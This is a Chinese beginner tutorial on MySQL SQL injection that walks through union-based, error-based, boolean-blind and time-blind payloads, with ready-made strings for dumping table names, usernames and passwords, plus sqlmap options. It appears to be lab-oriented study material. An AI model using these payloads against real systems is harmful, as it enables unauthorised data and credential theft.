0x00 前言

sql注入是通过用户输入构造语句以实现目的。一句话,不要相信任何用户输入的内容,做好防护。

0x01 传参方式

传参方式一般通过get方式,或者post方式提交,前者的优点是效率高,后者的优点是安全性好、参数的长度长。在sql注入攻击中,通常会选择用户输入内容的地方进行攻击。除此之外,http header中也存在sql注入,比如referer,cookie等等。所以思路一定要开阔,凡是输入数据库的内容都有可能是突破口。

0x02 常用的mysql语句

如下是注入过程中常猜测的语句:

(1)SELECT 列名称 FROM 表名称 WHERE 条件 #从表中选取数据

exp:select username,password from users where id=input

(2)UPDATE 表名称 SET 列名称=新值 WHERE 其他列名称 = 某值 #修改表中某值

exp:update users set password=’inputpass’ where username=’inputuser’

(3)insert into 表名称 values (值1,值2,…….) #向表格中插入新的行,其中values中插入的值可为逻辑运算的结果

exp:insert into users values (’15’,’name’,’pass’)

如下是注入常用操作:

(1)注释符:# , –+ , //
(2)联合查询:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
(3)ORDER BY 语句用于对结果集进行排序,注入攻击中用于测试列的数量。
(4)group_concat() 会计算哪些行属于同一组,将属于同一组的列显示出来。攻击时使用他的主要目的是将字段同时显示出来。
(5)count() 统计元祖的个数。
(6)rand() 用于产生一个0~1的随机数。
(7)floor() 向下取整。
(8)group by 依据我们想要的规则,对结果进行分组(会对规则进行排序)。
(9)outfile select from … where … into outfile ‘目标文件’ 将表的内容导出成为一个文本文件。
(10)dumpfile select from … limit 0,1 where … into dumpfile ‘目标文件’ 将其中一行导出成文件,所以要加limit。
(11)load_file select load_file(‘目标文件’) 载入上述文件。
(12)length()返回字符串长度。
(13)substr()截取字符串 substr(字符串,位置,长度) substr(database(),1,1) 。
(14)ascii()返回字符的ascii码 #通过>,<,=对字符的ascii进行缩小范围,从而确定字符。
(15)sleep(n)程序挂起n秒。用于时间盲注。
(16)if(a,b,c) 相同于a?b:c

0x03 sql注入语句的构造

(1)SELECT 列名称 FROM 表名称 WHERE 条件

select username,password from users where id=input
select username,password from users where id=’input’
select username,password from users where id=”input”
select username,password from users where id=(‘input’)

以第二个为例:
I.联合查询的注入

1)
测试猜测语句,分别尝试输入:’ ” ‘) / \ 测试是否报错
2)
测试:1′ or ‘1’=’1
插入语句后成为:

select username,password from users where id=’1′ or ‘1’=’1′

完整闭合,语句可以正确执行
或者 使用注释符使其闭合
测试:

1′ or 1=1#
1′ or 1=1–+

3)
order by 语句测试列数

1’order by 3#
select username,password from users where id=’1’order by 3#’

成功,则证明该语句没有错误,存在至少3列
继续测试:1’order by 4# ,发现出错,证明该表共存在3列。
4)
union select 联合查询

1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ –+

concat() 爆出所有表名
5)
爆用户名、密码

1’union select 1,group_concat(username,password),3 from users–+
#也可以在1,2,3处替换任意其他命令

II.基于报错的注入
1)
猜测注入语句,不再赘述.
2)
语句测试,当使用 1’union selcet 1,2,3 –+ 返回还是正常页面,因此我们要利用报错信息
3)
1′ and ( select 1 from (select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name)b)–+
含义:取名concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))为name,count()name的个数,这时候会报错,从而爆出database()的值,’~’的用途在于方便识别。
整个语句分析:
整体相当于select 1 from b;
其中b = select count(),concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))name from information_schema.tables group by name ,count()name的个数;
name=concat(‘~’,’~’,database(),’~’,’~’,floor(rand()2))

III.布尔盲注
1)
当出现无论输入任何语句页面只有两种情况的时候,即只存在正确页面和错误页面时,而不显示报错信息,这样我们就需要进行布尔盲注。通过猜测目标字符串字符的ascii码来确定字符,但该过程非常繁琐,自动化工具更方便一些。
2)
语句构造:

1’ and (ascii(substr(database(),1,1)))>100 –+

返回正确页面说明该范围正确,返回错误页面相当于范围不正确,最后用等号确定。

IV.基于时间的盲注
1)
这种情况下就是所有语句下页面只存在正确的一种,这样就用到了基于时间的盲注,原理是如果正确就执行sleep()函数,使程序挂起,这样我们就可以知道语句正确还是错误了。一般使用sleep(5),使程序挂起5秒钟。
2)
语句构造:

1′ and (select if (ascii(substr(database(),1,1))>100,sleep(5),NULL)) –+

(2)UPDATE 表名称 SET 列名称=新值 WHERE 其他列名称 = 某值 #修改表中某值

exp:update users set password=’inputpass’ where username=’inputuser’

基于错误的sql注入
语句构造:

uname=admin&passwd=’ and (select 1 from (select count(*),(concat(“~”,database(),”~”,floor(rand()*2)))name from information_schema.tables group by name)b)#&submit=submit

(3)insert into 表名称 values (值1,值2,…….) #向表格中插入新的行,其中values中插入的值可为逻辑运算的结果。
这里我们的思路一定要开放,意识到注入点位置的广泛性。
例如user-agent,http referer,都有可能存在注入点。
基于错误的sql注入
语句构造:

1′,(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b)

0x04 个人常用的基于错误的语句

1.(select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆数据库*/
 2. (select 1 from (select count(*),(concat(“~”,current_user,”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆当前用户名*/
3. (select 1 from (select count(*),(concat(“~”,(select username from users limit 0,1),”~”,floor(rand()*2)))name from information_schema.tables group by name)b) /*爆所有用户名*/

附mysql中常见的系统函数及变量:

user() 用户名;
session_user() 连接数据库的用户名;
database() 数据库名;
version() MYSQL数据库版本;
@@datadir 数据库路径;
current_user 当前用户名;
@@hostname 主机名;
@@port 数据库端口;
@@version_compile_os 操作系统;
basedir MYSQL安装路径

0x05 sqlmap使用

sqlmap作为一款强大的注入工具必不可少,它可以进行post注入(–data),cookie注入(–cookie),自定义注入级别(–leval),自定义注入参数(-p),自定义延时时间(–delay),执行自定义python代码(–eval),注入payload(–prefix ; –suffix)

0x06 总结

sql注入的精髓就在于学会在任何位置发现注入点,并构造语句使sql命令得以执行,从而达到攻击的目的。要学会sqlmap等自动化工具的使用,这样可以大大提高效率,但与此同时,更要学会手工注入,这样才能真正理解sql注入的本质。最后,求大佬们不喷,还请师傅们多指教。

初阶sql注入总结的更多相关文章

  1. SQL注入:Sqlmap初体验

    目录 sqlmap 安装 查看帮助文档 中文文档 直连数据库 服务型数据库(mysql) 文件型数据库(sqlite) 初级实战 1. 扫描注入点 2. 根据注入点查到全部数据库 --dbs 3. 根 ...

  2. ModSecurity SQL注入攻击

    ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...

  3. SQL注入原理二

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多. 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候 ,没有对用户输入数据的合法性进行判断,使应用程序存 ...

  4. ModSecurity SQL注入攻击 – 深度绕过技术挑战

    ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecuri ...

  5. sql注入(从入门到进阶)

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  6. sql注入原理+mysql相关知识点

    什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...

  7. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  8. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  9. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

随机推荐

  1. USB摄像头驱动框架分析

    usb摄像头驱动程序,里面涉及硬件的操作.比如说,想设置亮度的时候,需要把亮度的参数发给硬件.去得到真正视频数据的时候,需要访问硬件得到数据.usb摄像头驱动程序框架与虚拟摄像头驱动程序的框架是一样的 ...

  2. 在浏览器输入URL回车之后发生了什么?(超详细版)

    前言 这个问题已经是老生常谈了,更是经常被作为面试的压轴题出现,网上也有很多文章,但最近闲的无聊,然后就自己做了一篇笔记,感觉比之前理解更透彻了. 这篇笔记是我这两天看了数十篇文章总结出来的,所以相对 ...

  3. NAT网络地址转换的原理--笔试答题版

    最早接触NAT是在做网络工程师的时候,NAT是做网络工程师必需会的知识点和技能,后来在面试运维的时候也经常被用到,在运维的某些知识点当中也会被引用到,如LVS当中. 为什么需要NAT(网络地址转换)? ...

  4. Photoshop cc 2019 下载链接

    [安装环境]:win7/win8/win10 [64位下载] 百度网盘链接:pan.baidu.com/s/14vwkeez-jAx8WVkXXUgfPQ  提取码:797f

  5. 【使用篇二】SpringBoot整合Servlet(1)

    两种方式: 通过注解扫描完成 Servlet组件的注册 通过方法完成 Servlet组件的注册 一.通过注解扫描完成 Servlet 组件的注册 1. 编写Servlet类 /** * SpringB ...

  6. Eclipse安装svn插件(五)

    一.在线安装 1. 点击 Help --> Install New Software... 2. 在弹出的窗口中点击add按钮,输入Name(任意)和Location(插件的URL),点击OK ...

  7. maven介绍(一)

    一.什么是maven Maven 翻译过来就是专家,其官网为: http://maven.apache.org/ Maven使用POM (Project Object Model)项目对象模型,就是通 ...

  8. 【转】机器学习实战之K-Means算法

    一,引言 先说个K-means算法很高大上的用处,来开始新的算法学习.我们都知道每一届的美国总统大选,那叫一个竞争激烈.可以说,谁拿到了各个州尽可能多的选票,谁选举获胜的几率就会非常大.有人会说,这跟 ...

  9. 作业帮:给定一个整数数组,找出其中两个数相加等于目标值(去重set)

    题目描述 给定一个整数数组,找出其中两个数相加等于目标值 输入 [1,3,5,7,9,11] 10 输出 1,9 3,7 代码: import java.util.HashMap; import ja ...

  10. java web开发入门五(ssh整合)基于intellig idea

    SSH整合 1.引入jar包 Struts 核心jar Hibernate 核心jar Spring Core  核心功能 Web  对web模块支持 Aop   aop支持 Orm   对hiber ...